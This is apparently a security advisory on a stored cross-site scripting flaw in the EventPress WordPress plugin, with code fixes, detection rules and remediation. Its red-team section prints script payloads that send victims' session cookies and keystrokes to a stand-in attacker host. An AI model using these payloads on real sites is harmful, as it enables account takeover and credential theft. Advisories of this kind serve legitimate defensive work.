CVE-2024-51861

Executive Summary

CVE-2024-51861 is a Stored Cross-Site Scripting (XSS) vulnerability in the EventPress WordPress plugin (slug: wp-eventpress) developed by DuoGeek. The vulnerability exists in versions up to and including 1.0.0 due to improper neutralization of user-supplied input during web page generation. An authenticated attacker with contributor-level privileges or higher can inject arbitrary JavaScript into event-related fields, which is then stored and executed in the browsers of other users (including administrators) when they view the compromised event page.

This vulnerability is part of the WordPress ecosystem and does not affect the underlying web server (Apache/Nginx). The plugin is no longer maintained, and no official patch has been released. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the risk remains for sites using this plugin.

Supply Chain & Package Security

This vulnerability is specific to the WordPress plugin ecosystem. The plugin is distributed via the official WordPress Plugin Directory and third-party marketplaces. Since the vendor is unresponsive, site owners must treat this as a supply chain risk: the plugin should be removed or replaced with an actively maintained alternative. No package manager (NPM, PyPI, Go, Ruby) is involved.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
• Base Score: 6.5 (Medium)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (Contributor role)
• User Interaction: Required (victim must view the page)
• Scope: Changed (impact on other components)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: Low

Threat Level: Medium. Exploitation requires authentication but can lead to session hijacking, defacement, or phishing within the WordPress admin context.

Deep Dive & Mechanics

The vulnerability resides in the event creation and editing functionality of the EventPress plugin. User input from fields such as event title, description, or custom meta fields is not sanitized or escaped before being stored in the WordPress database and later rendered on the frontend or admin pages.

Attack Flow:

1. An attacker with a Contributor account (or higher) logs into WordPress.
2. The attacker creates or edits an event via the EventPress interface.
3. In a vulnerable field (e.g., event description), the attacker injects a payload like <script>alert('XSS')</script>.
4. The plugin stores the payload as-is in the wp_postmeta or custom table.
5. When an administrator or other user views the event page, the payload executes in their browser.
6. The attacker can then steal cookies, perform actions on behalf of the victim, or redirect to malicious sites.

Root Cause: The plugin uses echo or the_content filter without applying esc_html(), wp_kses(), or similar sanitization functions on user input.

Vulnerable vs. Patched Code

Since no official patch exists, the following shows a hypothetical fix.

Vulnerable Code (EventPress <= 1.0.0):

// In eventpress.php or similar
function display_event_description($event_id) {
    $description = get_post_meta($event_id, 'event_description', true);
    echo $description; // No sanitization
}

Patched Code (Hypothetical):

function display_event_description($event_id) {
    $description = get_post_meta($event_id, 'event_description', true);
    echo esc_html($description); // Sanitized output
}

Additionally, input should be sanitized on save:

function save_event_description($event_id, $description) {
    $sanitized = sanitize_text_field($description);
    update_post_meta($event_id, 'event_description', $sanitized);
}

Exploitation & Lab Setup

Red Team

Prerequisites:

• WordPress instance with EventPress plugin (<= 1.0.0) installed and activated.
• A user account with at least Contributor role.

Step-by-Step Exploitation:

1. Log in as a Contributor.
2. Navigate to Events > Add New.
3. In the event description field, enter the following payload:

   <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

4. Publish the event.
5. Wait for an administrator to view the event page. The script will execute and exfiltrate their session cookie.

Alternative Payload (Keylogger):

<script>
document.addEventListener('keydown', function(e) {
    fetch('https://attacker.com/keylog?key='+e.key);
});
</script>

Blue Team

Detection Steps:

1. Audit Plugin Usage: Identify all sites using wp-eventpress version <= 1.0.0.
2. Review Event Content: Manually inspect event descriptions and titles for suspicious <script> tags or event handlers.
3. Database Scan: Run SQL queries to find stored XSS payloads:

   SELECT * FROM wp_postmeta WHERE meta_key LIKE '%event%' AND meta_value LIKE '%<script%';
   

4. Web Application Firewall (WAF): Deploy rules to block common XSS patterns in POST requests to wp-admin/post.php or wp-admin/admin-ajax.php.

Indicators of Compromise (IOCs)

• File Indicators:

  • Plugin directory: /wp-content/plugins/wp-eventpress/
  • Version file: /wp-content/plugins/wp-eventpress/readme.txt (contains version string)

• Network Indicators:

  • Outbound HTTP requests to unknown domains from the WordPress server (exfiltration).
  • Suspicious parameters in URLs like ?cookie= or ?key=.

• Log Indicators:

  • WordPress debug log entries showing unescaped output.
  • Web server access logs with POST to wp-admin/post.php containing <script> tags.

• Registry/File System (Windows): Not applicable.

Detection Engineering

YARA Rule

rule CVE_2024_51861_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in EventPress plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-51861"
    strings:
        $xss_payload = /<script[^>]*>.*<\/script>/i
        $eventpress = /wp-eventpress/i
    condition:
        $eventpress and $xss_payload
}

Sigma Rule

title: Stored XSS via EventPress Plugin
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects stored XSS attempts in EventPress event fields
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        c-uri|contains: '/wp-admin/post.php'
        cs-uri-query|contains: 'post_type=eventpress_event'
        cs-uri-query|contains: 'action=edit'
        sc-status: 200
    condition: selection
falsepositives:
    - Legitimate HTML formatting in event descriptions
level: medium

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-51861 - Stored XSS Payload Exfiltration";
    flow:to_server,established;
    content:"GET"; http_method;
    content:"/steal?cookie="; http_uri;
    classtype:attempted-recon;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Disable/Remove Plugin: Deactivate and delete the wp-eventpress plugin from all WordPress installations.
2. Database Cleanup: Remove any stored XSS payloads from wp_postmeta and wp_posts tables.
3. User Audit: Review user roles and remove any suspicious Contributor accounts.

Long-Term Mitigation:

• Replace EventPress with an actively maintained event management plugin (e.g., The Events Calendar).
• Implement a Web Application Firewall (WAF) with XSS rules.
• Enforce Content Security Policy (CSP) headers to block inline scripts.
• Regularly update all WordPress components.

Patch Status: No official patch available. The vendor (DuoGeek) is unresponsive. Site owners must rely on the mitigations above.

Valters IT
Securing Digital Frontiers